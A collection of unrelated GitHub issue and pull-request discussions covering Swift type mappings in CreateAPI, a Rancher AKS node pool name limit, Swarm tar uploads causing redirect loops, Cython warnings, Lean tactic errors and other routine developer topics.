Support custom mappings between schema formats and Swift types

Edit: differs from the original to a single global override instead of individual properties and I forgot parameter types. I think that we can start with a global override and somebody can request this fine tuning later.

Introduce a config option to override the Swift type when they are parsed and written:
# schema
Pet:
  properties:
    id:
      type: string
    tag:
      type: string
      format: uuid

# config
swiftTypeOverrides:
  UUID: String # any occurrences of UUID are replaced with String, so `Pet.tag: String`

Config name open for improvement. Obviously, a developer might override to a type that cannot be decoded from/encoded to the original type, like UUID: Int or a type that does not exist, like UUID: qwerty. So, it is a developer responsibility to make sure that overriding types can be properly decoded/encoded and that they are a proper Swift type.

This can be further enhanced with imports as we should be trivially able to set an imported type after https://github.com/CreateAPI/CreateAPI/issues/85 is figured out. Using NaiveDate as an example removing the useNaiveDate option, we include the package as an import in the config and then set the type override:
# schema
Pet:
  properties:
    birth_date:
      type: string
      format: date

# config
swiftTypeOverrides:
  Date: NaiveDate # any occurrences of Date are replaced with NaiveDate

Obviously, imported objects should be expected to properly decode/encode but that's an implementation detail of the imported type.

To just clarify the scope here, I don't think we want to override the Swift types used, but more that we want the ability to customise how the format of a type should be interpreted?
If we summarise what we have today, its somewhat like the following:
string:
  date: Date
  date-time: NaiveDate # if useNaiveDate
  uuid: UUID
  uri: URL
  byte: Data
integer:
  int32: Int32 # if useFixWidthIntegers
  int64: Int64 # if useFixWidthIntegers
number:
  float: Float
  double: Double

With the current type/format -> Swift type behaviour, there are a few drawbacks:

It's spread across multiple configurations
We don't provide handling for even some of the defined formats (i.e password)
There is no way to customise/override beyond useNaiveDate and useFixWidthIntegers

So what we want is for the generator to be able to use alternate mappings in addition to the default ones?
For example, a formats (or formatMappings or formatOverrides) property that is [String: [String: String]] ([SchemaType: [SchemaFormat: SwiftType]])?
So when inferring the Swift type of any given property in the generator, we can make some helper functions to share the lookups across Schemas and Path generation since it looks like there is some copy and paste going on:
private extension ConfigOptions {
    func integerType(for format: JSONTypeFormat.IntegerFormat) -> TypeIdentifier {
        let mappings = formats["integer"] ?? [:]

        switch (format, mappings[format.rawValue]) {
        case (.int32, nil):
            return .builtin("Int32")
        case (.int64, nil):
            return .builtin("Int64")

        case (_, let custom?):
            return .builtin(custom)

        case (_, nil):
            return .builtin("Int")
        }
    }

    func numberType(for format: JSONTypeFormat.NumberFormat) -> TypeIdentifier {
        let mappings = formats["number"] ?? [:]

        switch (format, mappings[format.rawValue]) {
        case (.double, nil):
            return .builtin("Double")
        case (.float, nil):
            return .builtin("Float")

        case (_, let custom?):
            return .builtin(custom)

        case (_, nil):
            return .builtin("Double")
        }
    }

    func stringType(for format: JSONTypeFormat.StringFormat) -> TypeIdentifier {
        let mappings = formats["string"] ?? [:]

        switch (format, mappings[format.rawValue]) {
        case (.dateTime, nil):
            return .builtin("Date")
        case (.date, nil):
            return .builtin("NaiveDate")
        case (.other("uri"), nil):
            return .builtin("URL")
        case (.other("uuid"), nil):
            return .builtin("UUID")
        case (.other("byte"), nil):
            return .builtin("Data")

        case (_, let custom?):
            return .builtin(custom)

        case (_, nil):
            return .builtin("String")
        }
    }
}

There might be a better way to write this, but the behaviour is as follows:

If there wasn't a custom value and we know of a sensible default, use it
If it was a format we are not aware of (i.e password) and a custom value, use it
Otherwise use the default/fallback

This would allow us to make useFixWidthIntegers and useNaiveDate redundant, but still preserve their behaviours. It would require flipping the default behaviour of useFixWidthIntegers but it would be something like this:
Before
useFixWidthIntegers: false

useNaiveDate: false

After
formats:
  integer:
    int32: Int
    int64: Int

formats:
  string:
    date: String

It would require flipping the default behaviour of useFixWidthIntegers

I think this is ok because currently there is a discrepancy between how we handle string formats vs integer formats. For strings, we aim for the closest representation of a type by default but with ints, we don't. I don't see a signifiant harm in using fixed-width integers as a default if we have a suitable option to override that behaviour like the generic solution discussed here.

Yep! The 3 step behavior is what my current work does and I like the change in how the overrides are done in the config, so I'll switch to that. That also changes how I would set the types and clean things up a bit.

useFixWidthIntegers

I'm okay for removing that and moving forward with the behavior you described. We can put that in the documentation as an example for convenience and clarity, as this would most likely be an override used by almost everybody.

For example, if you wanted to have Schema int32/int64 integers generate as Int:
... yaml example ...

as this would most likely be an override used by almost everybody.

Hmm yeah this is a tough one 😄 If its complicating things for what the majority of users want, then maybe we should just default them both to Int.
My assumption is that if the schema is defining a fixed width, then that is for an important reason so we should respect that given that we can in Swift.
But being completely honest, I haven't seen enough schemas to know what the norm is 😄 I see that our Petstore schema does use fixed with format values but with a gigantic example like the App Store Connect API schema, they are not defined.

I think that the safest assumption would be that if the format isn't specified we leave it to Int and if there is we make the fixed width integers. After all, specifying fixed width is a specific system configuration and we can't know why a developer specified it (like they're possible making an API schema for use by embedded systems).

I also assume that "used by everyone" would only be as a result from auto-generated schemas from server documentation, which can specify the format as the type used by the server's implemented type.

I like the change in how the overrides are done in the config

Actually thinking about my work again, I think that what I do in the PR is more powerful because they can also set a global type override. For int32/int64, it can just be declared that all OpenAPI integer data types will be represented as:
swiftTypeOverrides:
  integer: Int

This also parallels the way that we do the exclude/include, if you see what I mean.

I see what you mean, but I don't think this should be supported.
I can understand use cases where you want to change the type based on the format, but I don't think you should ever be able to alter a primitive type (string, integer, number, boolean, array, object).
The only case where it might be useful is the one that you highlighted above so that we can disable fixed-sized integers in less config, but I don't think its worth it for the other weirdness that it has the potential to bring.
I think that we should keep this scoped as a 1:1 map between a types format and the resolved Swift type

I'm happy to implement only the formats, but why not allow the global override? There's an easy case where there are no formats specified and one would want/need a specific primitive type, not just the reason for fixed width in less config. The schema doesn't care about the primitive types implemented on a system, that's a developed concern. It's further a developer concern if they implement the wrong type that can't work for their API, so the weirdness would be an error on their part.
This behavior can be easily documented.

I wasn't particularly a fan of having a flat dictionary of schema-type.format: SwiftType entries to represent both global overrides as well as individual format specifiers. I feel that that it complicates the implementation (lookup is more complex) and I'm still not sure what value it brings.
But if we did want to support it, maybe we could do something like this then:
dataTypes:
  string:
    password: SecureString
    custom-thing: CustomThing
  integer: Int # applies regardless of the `format`
  number:
    decimal: NSDecimalNumber

Which would solve some concerns that I have, but I'm still not entirely convinced by the usefulness of it.

People might need to have all integer in Int32 but there wouldn't be a format specified

I'm having a hard time thinking of why you'd need to use Int32 across the board for all integer types.

or people might want all string to be a String regardless of the provided format.

That's achievable with the proposed solution (but again like fixed-width ints is a little more configuration).

If you want to support both approaches, please feel free to but I also think format-specific overrides would be good enough to begin with at least 😄


[BUG] Azure AKS nodepool name length not respected

Rancher Server Setup

Rancher version: v2.7.0
Installation option (Docker install/Helm Chart):

Helm Chart: stable v2.16.8-rancher2
Kubernetes Cluster: Azure AKS v1.23.12

Proxy/Cert Details: n/a

Information about the Cluster

Kubernetes version: v1.24.3
Cluster Type (Local/Downstream):

Downstream:

Hosted = Azure AKS

User Information

Rancher Admin and Cluster Owner

Describe the bug
After importing an existing Azure AKS cluster with a node pool name length of 12 characters is not possible to edit it because Rancher reported that the name must be between 1 and 11  characters:

Linux node pool names must be 1-11 characters.

According to the official Azure documentation:

For Linux node pools the length must be between 1 and 12 characters

https://learn.microsoft.com/en-us/azure/aks/use-multiple-node-pools#limitations
To Reproduce
Import an existing ASK cluster with a node pool name of 12 characters, and try to edit it, for example add an user.
Result
Expected Result
The limits of 11 characters node pool name on Rancher side must be increased to 11
Screenshots
n/a
Additional context
n/a

https://jira.suse.com/browse/SURE-6333

Fix https://github.com/rancher/ui/pull/5034


Disable editing in embedded view

There's no toolbar in the embedded view, but you can still enter edit mode with the hotkey! (ctrl-shift-e). That should be disabled.

Done


Replace random with secrets

passgen.py:168: DeprecationWarning: The random parameter to shuffle() has been deprecated since Python 3.9 and will be removed in a subsequent version.

Hi! Thank you very much for your feedback. I totally missed the removal of random.shuffle().
I still intend to maintain this, but unfortunately have little free time. Not only this project is open for PR's, but new maintainers are also very welcome. I can add you as a maintainer, if you will. Otherwise I will try my best, and patch it by Sunday.


[RFC] Grabbing race artifacts programmatically

Currently, race creates two artifacts (a trace and a report) as files, but it's not possible to associate the race and the artifacts programmatically.
In order to automate perf testing (mostly based on reports), I'd love that the artifacts are passed as a result of the race function (in a Promise). Something like:
describe('Prime number finder', () => {
  it('should run under 10s for a 6 digits prime', () => {
    return race('prime race', () => prime(6))
        .then((report, trace) => {
            assert(report.profiling.functions.prime < 10000)
        })
  });
})

Note: In this use case, the first argument of the race() function is not useful, so my 2c would be to move it as second argument, and make it optional. Also, in this use case, I don't need the artifacts as files.
What do you think of this use case / syntax?

Interesting thought I like that, may be useful for quite a bit of use cases. However, this syntax is invalid since promise fulfillment callback can receive only one argument, so maybe it should receive result object with report and trace as properties.

Yep, my bad. So it should be:
describe('Prime number finder', () => {
  it('should run under 10s for a 6 digits prime', () => {
    return race('prime race', () => prime(6))
        .then(({ report, trace }) => {
            assert(report.profiling.functions.prime < 10000)
        })
  });
})

@fzaninotto What you are asking (perf testing) is what's coming next:

https://github.com/ngryman/speedracer/issues/9
https://github.com/ngryman/speedracer/projects/2.

 Do you think it would fulfil your needs?
To answer your question, for now SR is aimed to be a CLI tool, but 0.4.0 will expose an API so you can customize things the way you want :)

I'm not a fan of snapshot testing. It's like saying: "I don't know precisely why, but it seemed to work in the past". I prefer giving precise conditions (like "it should run under 10s in my example"), that are also meaningful when dumped as error. Besides, snapshot testing forces the developer to commit large data files (the result of previous tests) in the code repository, just for tests... Not my cup of tea.

@fzaninotto Well that's a point of vue for general purpose snapshot testing.
In SR context, the way I see it is more like a reference than an absolute source of truth: "it should be around this value" (aka. report.profiling.functions.prime < 10000). Perhaps the term snapshot is misleading...
I think it makes sense in perf testing as a perf test is kinda like a regression test: you want to make sure new features / updates do not alter perf in a bad way. And the way to test it is ... always the same. So instead of having to write imperative code again and again, you take a snapshot as reference and let SR test it for you.
That said, if you want to go further, you could do it in 2 phases:

run speedrunner and output reports in a temporary directory.
use your favorite test runner to load reports and test them with an assertion library.

0.4.0 will offer an API that let you run races from anywhere, so it will be even simpler.


Support publishing custom handler apps

Allow publishing a project with FUNCTIONS_WORKER_RUNTIME set to custom.

Deploy folder contents using run from package
Ignore files in .funcignore
Set remote FUNCTIONS_WORKER_RUNTIME to custom

Will provide a sample app to test.

@pragnagopa @yojagad

@anthonychu any details on a timeline for this? Is this already "supported" today or do we need to wait for work elsewhere to finish

@EricJizbaMSFT GA is probably a couple of months out so there's time. Would be great if this can be added by end of July or early August.

Updated first comment with a test app.
@pragnagopa Can you take a look and see if I missed any details? Is a hello world sufficient for testing?
@EricJizbaMSFT do you think this is possible in 0.24 or 0.25?

Can you take a look and see if I missed any details? Is a hello world sufficient for testing?

ACK on the issue description. Yes, testing hello world is enough to verify publish works E2E.

Is this already "supported" today or do we need to wait for work elsewhere to finish

Feature is supported in prod.

@anthonychu put it in 0.25


Redesigning the footer

I would like to redesign the footer completely from scratch which includes the Social links, Contact details and more. So assign me this issue so that I could work on it and make it more better

I would like to redesign the footer completely from scratch which includes the Social links, Contact details and more. So assign me this issue so that I could work on it and make it more better

Go ahead and share few mockups on what you are trying to create.

@AdarshRawat1 I would like to know that do you guys have any socials or any other connecting platforms, so that we can include it in the footer.

@AdarshRawat1

This would be the design which I would like to implement

linkedIN - https://www.linkedin.com/company/open-code-era/
Mail -<EMAIL_ADDRESS>We will be transitioning to different social platforms in the near future.

I would also like to work on this.

@AdarshRawat1 Assign me this issue, so that I could contribute and develop it.

It is my bad, @Lokesh-MV but I didn't see anyone assigned on this issue so I started working on it.
Since it's my first time contributing on openSource, so I don't really know much about the proper procedure. I am creating a pull request of my code. I would be really glad if anyone reviews it and give me some pointers to improve and point some mistakes, so that I am able to gain some more insights like you proffesionals and be able to do some true contribution to the projects.

@UdaySingh131105 ,
I see that @Lokesh-MV  is already addressing the issue you mentioned. Currently, I cannot merge your pull request. Please verify that another person is not already working on resolving the same issue.It's a good practice to first claim the issue and then work on it.
Please , look for other issues to solve or raise an issue.

@Lokesh-MV, please resize the GitHub logo while maintaining the original text - "Edit this page on GitHub."

@AdarshRawat1 how do you want the GitHub logo to be ? Could you please be bit more clear....
The logo is out of proportion with the text "OpenCodeEra".

@AdarshRawat1 how do you want the GitHub logo to be ? Could you please be bit more clear....
The logo is out of proportion with the text "OpenCodeEra".

@AdarshRawat1 Okay I'll align it properly with the text.

@AdarshRawat1 I've developed it and opened a Pull Request. Could you please check it ?

@AdarshRawat1 I've developed it and opened a Pull Request. Could you please check it ?

Please mention this issue in your PR, , makes it easier to track progress.


Enable Prysm doppelganger protection by default

Hey from the release notes of Prysm this is indicated still as experimental and will become default in a later release, why include this as default now?

Only because there was one user, not on eth-docker, who got themselves slashed, which would have been prevented by this option. I am erring on the side of caution.


Add test case to get path of a file in dependent package

Purpose

Add test case to get path of a file in dependent package

Check List

[x] Read the Contributing Guide
[ ] Updated Change Log
[ ] Checked Tooling Support (#)
[ ] Added necessary tests

[ ] Unit Tests
[ ] Spec Conformance Tests
[ ] Integration Tests
[ ] Ballerina By Example Tests

[ ] Increased Test Coverage
[ ] Added necessary documentation

[ ] API documentation
[ ] Module documentation in Module.md files
[ ] Ballerina By Examples

Is this test case related to the package resolution? If not, should we move this to some other test class?

Is this test case related to the package resolution? If not, should we move this to some other test class?

Yes, Ill add a few more tests and move to another class


Debug Application is not renaming

Hi,
I have renamed main application but I can't able to rename the debug application. can you help me on this?

@selvaTecky Make sure that you use the latest version v2.7

@selvaTecky Make sure that you use the latest version v2.7

@selvaTecky After you have run the script, clear the metro bundler cache with this command:
npm start --reset-cache. It should hopefully suffice the issue.

@selvaTecky After you have run the script, clear the metro bundler cache with this command:
npm start --reset-cache. It should hopefully suffice the issue.

Hi @vishal9950 ,
Even thought the debug folder files and packages are not getting updated.

Hi @vishal9950 ,
Even thought the debug folder files and packages are not getting updated.

@selvaTecky Try this,
For android:

cd android
./gradlew clean
cd ..
rm -rf node_modules && npm i && npm link (if using an older RN version)
npm run android

For iOS:

cd ios
rm -rf build
cd ..
rm -rf node_modules && npm i && npm link (if using an older RN version)
npm run android

This should hopefully fix this problem 😶

@selvaTecky Try this,
For android:

cd android
./gradlew clean
cd ..
rm -rf node_modules && npm i && npm link (if using an older RN version)
npm run android

For iOS:

cd ios
rm -rf build
cd ..
rm -rf node_modules && npm i && npm link (if using an older RN version)
npm run android

This should hopefully fix this problem 😶


[Error]

[Error] Downloading stash for Standard, details logged to DebugInfo.log, please open a ticket at https://github.com/Stickymaddness/Procurement/issues

I need your DebugInfo.log in order to help


feat: sort attendee list on the basis of ticket type (#781)

Fixes #781
Changes:Add sorting feature to sort attendee list on the basis of ticket type
Screenshots for the change:

@iamareebjamal please review

@iamareebjamal sorting in fastadapter requires min api level 24

Where is it written so, it is a library and hence shouldn't have any min API constraint

@iamareebjamal the sort function, which uses comparators to sort adapteritems requires api 24

Can you point to doc reference please

@iamareebjamal the only way to sort lists in fast adapter is as shown here, https://github.com/mikepenz/FastAdapter/blob/6b7b1cf2fe7a6d86ce8eb3ae725470d6477df356/app/src/main/java/com/mikepenz/fastadapter/app/SortActivity.java and in my opinion the already implemented way is better than that. As the method here was not added initially but was later added as in the discussion here https://github.com/mikepenz/FastAdapter/issues/51

Comparator can be created as a lamda as well

@iamareebjamal please review

@iamareebjamal i have added some new features to my proposal can your review them please https://docs.google.com/document/d/1pkm8zEYxfGR809NOQNMwaMsbh5T4HSmrFcf-4nDNC_w/edit?usp=sharing

@AkshayCHD Please update the PR

@iamareebjamal please review

@iamareebjamal please review

@iamareebjamal please review

@iamareebjamal please review


[SPARK-46179][SQL] Pull out code into reusable functions in SQLQueryTestSuite

What changes were proposed in this pull request?

Why are the changes needed?

As a prelude to https://github.com/apache/spark/pull/44084, in this PR, I refactored SQLQueryTestSuite by pulling out code into functions for reuse in subclasses.
Does this PR introduce any user-facing change?

No.
How was this patch tested?

Simple refactor, no testing.
Was this patch authored or co-authored using generative AI tooling?

No.

cc @agubichev @jchen5

@cloud-fan Can we merge this? :D

@jchen5 I added some simple tests :)

thanks, merging to master!


Im just dumb. Forget this

Fatal error: Uncaught TypeError: Argument 2 passed to GDaisy\Placeholder\ImagePlaceholder::apply() must be of the type array, null given, called in /home/dynacover/dynacover/app/Command/Generate/TwitterController.php on line 49 and defined in /home/dynacover/dynacover/vendor/erikaheidi/gdaisy/src/Placeholder/ImagePlaceholder.php:35
Stack trace:
#0 /home/dynacover/dynacover/app/Command/Generate/TwitterController.php(49): GDaisy\Placeholder\ImagePlaceholder->apply(Resource id #78, NULL)
#1 /home/dynacover/dynacover/vendor/minicli/minicli/src/Command/CommandController.php(38): App\Command\Generate\TwitterController->handle()
#2 /home/dynacover/dynacover/vendor/minicli/minicli/src/App.php(159): Minicli\Command\CommandController->run(Object(Minicli\Command\CommandCall))
#3 /home/dynacover/dynacover/app/Command/Cover/UpdateController.php(15): Minicli\App->runCommand(Array)
#4 /home/dynacover/dynacover/vendor/minicli/minicli/src/Command/CommandController.php(38): App\Command\Cover\UpdateController->handle()
#5 /home/dynacover/dy in /home/dynacover/dynacover/vendor/erikaheidi/gdaisy/src/Placeholder/ImagePlaceholder.php on line 35

what was your issue? how did u fix it

Hello @juxty ,
I had the same issue with Github Actions, but also with Docker approach. Could you tell us which was your problem and how did you solve it?
Many thx!


Uploading a tar file may end up in a redirect loop

Summary
I uploaded a tar file and when I tried to access it I ended up with a redirect loop.
Steps to reproduce
Here is the tarfile I used
https://bee-0.gateway.ethswarm.org/files/6564a495efaff7ffc1bdf5f4f050458e59c96abf8658ba65afdbc06731a6e588
It has .DS_Store, ._. and ._.DS_Store files inside that's likely to cause this issue. According to @vandot if you delete these files and upload the resulting tar file, it will work.
Command I used to upload:
curl \
    -X POST -v -D - \
    -H "Content-Type: application/x-tar" \
    -H "Swarm-Index-Document: index.html" \
    -H "Swarm-Error-Document: index.html" \
    --data-binary @/Users/attila/Downloads/website.tar https://gateway.staging.ethswarm.org/dirs

Expected behavior
There shouldn't be a redirect loop when I upload a website. It should be checked on upload and rejected.

There must be other issues as well. I just prepared a tar file that does not contain any hidden file, yet it causes the redirects.

There must be other issues as well. I just prepared a tar file that does not contain any hidden file, yet it causes the redirects.

@vojtechsimetka Can you upload the file in question so that the issue can be reproduced?

Yeah even better I know why. The difference is between how the files are tar-ed:
Causes redirects
tar -cvC folder . >archive.tar

Works just fine
cd folder
tar -cf ../archive.tar *
cd ..

Here are are the two archives https://www.dropbox.com/sh/e8unt7kh2qu7b88/AAAuSaUGdg7QcL5EXrjVpr7Da?dl=0
I'm using build in macOS tar in version bsdtar 3.3.2 - libarchive 3.3.2 zlib/1.2.11 liblzma/5.0.5 bz2lib/1.0.6

Second file is properly tared, only content from the folder.
First file included folder . and all content inside that folder.
You can see that slight diff when you list tar files contents
# tar -tvf cases_redirects.tar
drwxr-xr-x  0 vojtechsimetka staff       0 Nov 23 22:47 ./
-rw-r--r--  0 vojtechsimetka staff   32038 Nov 23 22:47 ./favicon.ico
-rw-r--r--  0 vojtechsimetka staff     769 Nov 23 22:47 ./index.html
drwxr-xr-x  0 vojtechsimetka staff       0 Nov 23 22:47 ./css/
drwxr-xr-x  0 vojtechsimetka staff       0 Nov 23 22:47 ./js/
drwxr-xr-x  0 vojtechsimetka staff       0 Nov 23 22:47 ./media/
-rw-r--r--  0 vojtechsimetka staff   34916 Nov 23 22:47 ./media/bzzzzzz.08b5b431.mp3
-rw-r--r--  0 vojtechsimetka staff   16344 Nov 23 22:47 ./media/bzz.cd2b9ec8.mp3
-rw-r--r--  0 vojtechsimetka staff  206108 Nov 23 22:47 ./js/chunk-vendors.49547d05.js
-rw-r--r--  0 vojtechsimetka staff  996904 Nov 23 22:47 ./js/chunk-vendors.49547d05.js.map
-rw-r--r--  0 vojtechsimetka staff   26830 Nov 23 22:47 ./js/app.e22050d2.js.map
-rw-r--r--  0 vojtechsimetka staff    9316 Nov 23 22:47 ./js/app.e22050d2.js
-rw-r--r--  0 vojtechsimetka staff    2157 Nov 23 22:47 ./css/app.a486b3e2.css

# tar -tvf works_fine.tar
drwxr-xr-x  0 vojtechsimetka staff       0 Nov 23 22:47 css/
-rw-r--r--  0 vojtechsimetka staff    2157 Nov 23 22:47 css/app.a486b3e2.css
-rw-r--r--  0 vojtechsimetka staff   32038 Nov 23 22:47 favicon.ico
-rw-r--r--  0 vojtechsimetka staff     769 Nov 23 22:47 index.html
drwxr-xr-x  0 vojtechsimetka staff       0 Nov 23 22:47 js/
-rw-r--r--  0 vojtechsimetka staff  206108 Nov 23 22:47 js/chunk-vendors.49547d05.js
-rw-r--r--  0 vojtechsimetka staff  996904 Nov 23 22:47 js/chunk-vendors.49547d05.js.map
-rw-r--r--  0 vojtechsimetka staff   26830 Nov 23 22:47 js/app.e22050d2.js.map
-rw-r--r--  0 vojtechsimetka staff    9316 Nov 23 22:47 js/app.e22050d2.js
drwxr-xr-x  0 vojtechsimetka staff       0 Nov 23 22:47 media/
-rw-r--r--  0 vojtechsimetka staff   34916 Nov 23 22:47 media/bzzzzzz.08b5b431.mp3
-rw-r--r--  0 vojtechsimetka staff   16344 Nov 23 22:47 media/bzz.cd2b9ec8.mp3

I agree that bee should handle that case as well, even by rejecting the illegal file or just mentioning it in the docs unlimited redirects case etc

This could be handled with https://golang.org/pkg/path/filepath/#Clean on every tar path when read and with a special check on "./" and "." values.

Hi @agazso @zbiljic
How does this issue related to #1026 and #1024 and the PR #1027 ?
Generally, it would be great if we could move the respective issues to the correct place in our boards, close duplicates and make conclusions / tangible issues under threats that were posed as a question.
Could the issue authors of above-mentioned issues do this?
Thanks

Going from this issue, per @janos comment, the filepath.Clean was implemented and merged. There is comprehensive comment in the PR (1027#issuecomment-740502562) that covers some details.
However, I think that main discussion should be done on #1024, where we should try to cover all the cases (that we can), and then rest the issue.

Closing this issue

Closing this issue


Why can't we allow volunteers to submit for more translations?

Cardano is more and more famous, more and more people come from different countries. But now Daedalus wallet still only support English and Japanese.
I found some of Cardano lovers sent pull requests for other language support but all been rejected for the internal maintain process reason. Reply by @nikolaglumac :

at this moment in time, we can not accept additional translation as it would be hard to maintain it without internal translation/audit process.

It's been two years and the internal translation is still zero release and still rejecting voluntary PRs, it doesn't make sense.

Hi @JasinYip!

at this moment in time, we can not accept additional translation as it would be hard to maintain it without internal translation/audit process.

Unfortunately, we still suffer from the same problem...
You need to understand that every single line of text added to Daedalus needs to be proofread and translated into all languages Daedalus supports. This means that we need a dedicated translator and proofreader (as they can not be the same person) for every additional language we show in the UI (so it's 2 more people per single additional language). We can not rely on outside contributors for this as there are often times where we need to add last-minute changes and for those, we need to have internal people that are always present.
We do appreciate the intentions of people that wanted to contribute by adding translations for various languages, but we simply can not use those at the moment.
Still, I completely agree with you that we should start adding more languages. This is a product decision and @darko-mijic will manage this request.
Thanks for bringing this up and also thanks for the patience 🙏

I will close this issue as our process doesn't allow us to accept external contributions in terms of additional language translations. We are considering adding more languages and I hope we will be able to add them soon.
Thank you for your patience!


KWSys: Update to version as of 2024-11-30

Code extracted from:
https://gitlab.kitware.com/utils/kwsys.git

at commit dfbcd769aea25157ee65a92f941d0e233fe79826 (master).
Upstream Shortlog
Brad King (9):
      beaf1ca1 ConsoleBuf: Fix test case when running under Windows Terminal
      4feb470a SystemTools: Remove GetActualCaseForPath from CollapseFullPath
      6e847d08 SystemInformation: Add missing EOF check when reading /proc/cpuinfo
      741c9c96 SystemTools: Expose GetActualCaseForPathCached publicly
      fdf4f2f8 SystemTools: Fix ReadSymlink for links to absolute paths on Windows
      20b2c992 SystemTools: Remove unused global object
      47dce1a3 SystemTools: Remove path translation map
      30e9db2d SystemTools: Drop GetActualCaseForPathCached
      5995fd7d SystemInformation: Ignore stderr from OS query tools

Daniel Pfeifer (1):
      68e1f35d SystemInformation: fix use of using

Jochem van Boxtel (1):
      510b13b4 SystemTools: Add FileId class and GetFileId function

Juan Ramos (2):
      ff14b4f5 SystemInformation: Fix find logic
      a347a66b SystemInformation: Implement HasFPU on Apple processors

Mike Lundy (1):
      ee3223d7 SystemTools: fix clonefile optimization on macOS

Peter Kokot (1):
      967b2120 Remove legacy unused IMMEDIATE CMake keyword

scivision (4):
      5f4012c6 Don't compare to nullptr
      3f14fce6 Process: Replace 0 with NULL in pointer arguments to GetFullPathNameW
      210cea0a SystemTools: Replace unused argument to GetFullPathNameW with nullptr
      f5e82d63 SystemTools: Replace malloc() with std::string

This PR needs to be merged with a real merge commit with no rebase or squash.


Warn about unraisable exceptions where they occur

Cython currently warns about function that cannot propagate the exceptions raised in their body. Often, this is because the function was accidentally declared without except clause. But in some cases, exceptions in the function body are not expected and only get raised by accident or oversight.
It would be nice if Cython could point to the code lines that raise exceptions, or about the first couple of them. If exceptions are unexpected, this would help users understand why they appear at all.
This can be implemented mostly in the CCodeWriter. The error_goto() method can collect the current code line in a new set attribute code.funcstate.error_lines, from where the put_unraisable() method could pick them up and warn() about them.

Hey @scoder , I would like to work on this

Go for it.

is this issue still open ?

Nothing has been done yet. With the changes in Cython 3.0 that made exception propagation the default, I think this only applies to noexcept functions now. There, it would still be nice to have, I think.
Look at the exceptionpropagation and legacy_implicit_noexcept tests. They both use noexcept functions that raise exceptions. Look for WriteUnraisable in the generated code (and in Cython's sources to find where it's being used).

Hey @scoder can you walk me through this problem !


Feature Request: Address break down

Is it possible to have the location split into street number/name?
"location": {         "streetNumber": "5657",         "streetName":"esk street",         "city": "auckland",         "state": "nelson",         "postcode": 69709,         "coordinates": {           "latitude": "-4.6649",           "longitude": "166.9746"         },         "timezone": {           "offset": "-11:00",           "description": "Midway Island, Samoa"         }

This will be implemented in API v1.3


Docker - no matching manifest

docker pull basnijholt/home-assistant-streamdeck-yaml
Using default tag: latest
latest: Pulling from basnijholt/home-assistant-streamdeck-yaml
no matching manifest for linux/amd64 in the manifest list entries

I got this, as well. Running Docker Desktop on Windows in WSL2 mode.

Pulling the latest image didnt work - had to use this command
docker pull basnijholt/home-assistant-streamdeck-yaml:linux-amd64

Should now be fixed: https://hub.docker.com/r/basnijholt/home-assistant-streamdeck-yaml/tags
It turns out the docker push action didn't work well with build matrix.


radarr: Add version <IP_ADDRESS>35

Closes #9508

[x] I have read the Contributing Guide.

/verify


Funny error message for induction tactic

In my code, I get the message
invalid 'induction' tactic, hypothesis 'Γ' must have a type that is associated with a recursor
proof state:
Γ : unit + Type.{?M_1}
⊢ Type.{l_2}

which is pretty misleading. The actual error should be a universe level related error insted (if at all?).
open is_trunc sum

structure foo [class] :=
  (carrier     : Type)
  (to_fun      : carrier → Type)

set_option pp.universes true

definition some_foo : foo :=
begin
  fapply foo.mk,
  { exact unit + Type },
  { intro Γ, induction Γ, },
end

This is weird. I don't think this is related to universe levels. Here is a more minimal example, which doesn't have any unknown universe levels:
set_option pp.all true
example : Σ(X : Type₀), X → unit :=
begin
  fapply sigma.mk,
  { exact unit},
  { intro x, induction x, } -- error
end

Note: in the original example, you need to give the universe variables to some_foo explicitly, since tactics cannot change the universe variables of a type, and you only construct a foo which does not live in the lowest universe level:
definition some_foo.{u} : foo.{u+1 _} :=
begin
  fapply foo.mk,
  { exact unit + Type},
  { refine sum.rec _ _, }, -- workaround
end

Yes, I figured out that I had to give the level explicitly. But somehow I wasn't able to separate the bug from that, thanks for doing that :wink:


Build number included string occured error.

Hi Support,
i got error from smoke-test_1  |   File "/usr/local/lib/python3.10/site-packages/api4jenkins/job.py", line 159, in get_build smoke-test_1  |     if int(number) == int(item['number']): smoke-test_1  | ValueError: invalid literal for int() with base 10: '1521-sit02-master' Because our build number included string. Have anything possible to fix?
File "/usr/local/lib/python3.10/site-packages/api4jenkins/job.py", line 159, in get_build smoke-test_1  |     if int(number) == int(item['number']):
remove int transition? thanks

1521-sit02-master is display name of build,  open the build in browser and you will see real build number in address bar.

have anything object can got exactly number? Thanks.

Hi fix issue by buildno attribute. Thanks.

@JayChanggithub this PR will enable job.get_build to return build by display name

Thanks @joelee2012. Got it


The paper is inconsistent with the size of the code parameters

Hello there! Very happy to use your code, I have a question looking forward to your reply!
The same structure of DenseNet, the parameters of the pytorch version are much larger than the model parameters of the original paper? ? ? DenseNet (k=12) 40 layers, only 1.0M in the paper, 4M in the pytorch version, why is it so much worse? look forward to your reply

Hello there! Very happy to use your code, I have a question looking forward to your reply!
The same structure of DenseNet, the parameters of the pytorch version are much larger than the model parameters of the original paper? ? ? DenseNet (k=12) 40 layers, only 1.0M in the paper, 4M in the pytorch version, why is it so much worse? look forward to your reply

Hello, I also found this problem, have you already get the reason about this issue? Thanks a lot!


Override bot Raw method.

I tried to deploy my bot to google appengine, however there is an issue with http post method with https https://cloud.google.com/appengine/docs/standard/go/issue-requests.
So I wonder how can I override the Raw method https://github.com/tucnak/telebot/blob/ab26c41a13a14d620877bc21f61152d3a17493e9/api.go#L21, that I can pass context params like this:
	var req *http.Request
	ctx := appengine.NewContext(req)
	client := urlfetch.Client(ctx)

	resp, err := client.Post(url, "application/json", &buf)

Thank you,

Just saw the custom httpClient inside the bot Settings, solved the problem. Sorry for bothering.
https://github.com/tucnak/telebot/blob/ab26c41a13a14d620877bc21f61152d3a17493e9/bot.go#L78


System.Composition.TypedParts missing

Hi,
just tried out the sample in readme with Roslyn workspace an getting an error:
AnalyzerManager manager = new AnalyzerManager();
ProjectAnalyzer analyzer = manager.GetProject(@"PATH_TO_PROJECT");
AnalyzerResults results = analyzer.Build();
string[] sourceFiles = results.First().SourceFiles;
AdhocWorkspace workspace = analyzer.GetWorkspace();

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>netcoreapp3.1</TargetFramework>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="Buildalyzer.Workspaces" Version="2.5.1" />
  </ItemGroup>

</Project>

Error:
